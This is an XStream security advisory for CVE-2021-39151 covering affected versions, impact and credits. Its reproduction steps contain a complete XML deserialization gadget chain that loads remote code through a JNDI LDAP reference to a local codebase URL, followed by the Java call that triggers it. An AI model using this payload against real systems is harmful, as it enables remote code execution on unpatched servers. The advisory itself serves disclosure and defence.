CVE-2021-39151

Vulnerability

CVE-2021-39151: XStream is vulnerable to an Arbitrary Code Execution attack.

Affected Versions

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

Steps to Reproduce

Create an empty EventListenerList and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

```
<javax.swing.event.EventListenerList serialization='custom'>
  <javax.swing.event.EventListenerList>
    <default>
      <listenerList>
        <javax.swing.undo.UndoManager>
          <hasBeenDone>true</hasBeenDone>
          <alive>true</alive>
          <inProgress>true</inProgress>
          <edits>
            <com.sun.xml.internal.ws.api.message.Packet>
              <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                <parsedMessage>true</parsedMessage>
                <soapVersion>SOAP_11</soapVersion>
                <bodyParts/>
                <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                  <attachmentsInitialized>false</attachmentsInitialized>
                  <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
                    <soapPart/>
                    <mm>
                      <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                        <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
                          <cleaned>false</cleaned>
                          <entries>
                            <com.sun.jndi.ldap.LdapEntry>
                              <DN>cn=four,cn=three,cn=two,cn=one</DN>
                              <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                                <javax.naming.directory.BasicAttribute>
                                  <default>
                                    <ignoreCase>false</ignoreCase>
                                  </default>
                                  <int>4</int>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>objectClass</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>javanamingreference</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default>
                                        <rdn class='com.sun.jndi.ldap.LdapName' serialization='custom'>
                                          <com.sun.jndi.ldap.LdapName>
                                            <string>cn=four,cn=three,cn=two,cn=one</string>
                                            <boolean>false</boolean>
                                          </com.sun.jndi.ldap.LdapName>
                                        </rdn>
                                      </default>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaCodeBase</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>http://127.0.0.1:8080/</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaClassName</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>refObj</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
                                      <default>
                                        <ordered>false</ordered>
                                        <attrID>javaFactory</attrID>
                                      </default>
                                      <int>1</int>
                                      <string>ExecTemplateJDK7</string>
                                    </javax.naming.directory.BasicAttribute>
                                    <com.sun.jndi.ldap.LdapAttribute>
                                      <default/>
                                    </com.sun.jndi.ldap.LdapAttribute>
                                  </com.sun.jndi.ldap.LdapAttribute>
                                </javax.naming.directory.BasicAttribute>
                              </attributes>
                            </com.sun.jndi.ldap.LdapEntry>
                          </entries>
                          <limit>2</limit>
                          <posn>0</posn>
                          <homeCtx/>
                          <more>true</more>
                          <hasMoreCalled>true</hasMoreCalled>
                        </aliases>
                      </it>
                    </mm>
                  </multiPart>
                </sm>
```

```
            </message>
          </com.sun.xml.internal.ws.api.message.Packet>
        </edits>
        <indexOfNextAdd>0</indexOfNextAdd>
        <limit>100</limit>
      </javax.swing.undo.UndoManager>
    </listenerList>
  </default>
  <string>java.lang.InternalError</string>
  <javax.swing.undo.UndoManager reference='../default/listenerList/javax.swing.undo.UndoManager'/>
  <null/>
 </javax.swing.event.EventListenerList>
</javax.swing.event.EventListenerList>
```

```
XStream xstream = new XStream();
xstream.fromXML(xml);
```

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

Impact

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream.

Workarounds

See workarounds for the different versions covering all CVEs.

Credits

Smi1e of DBAPPSecurity WEBIN Lab found and reported the issue to XStream and provided the required information to reproduce it.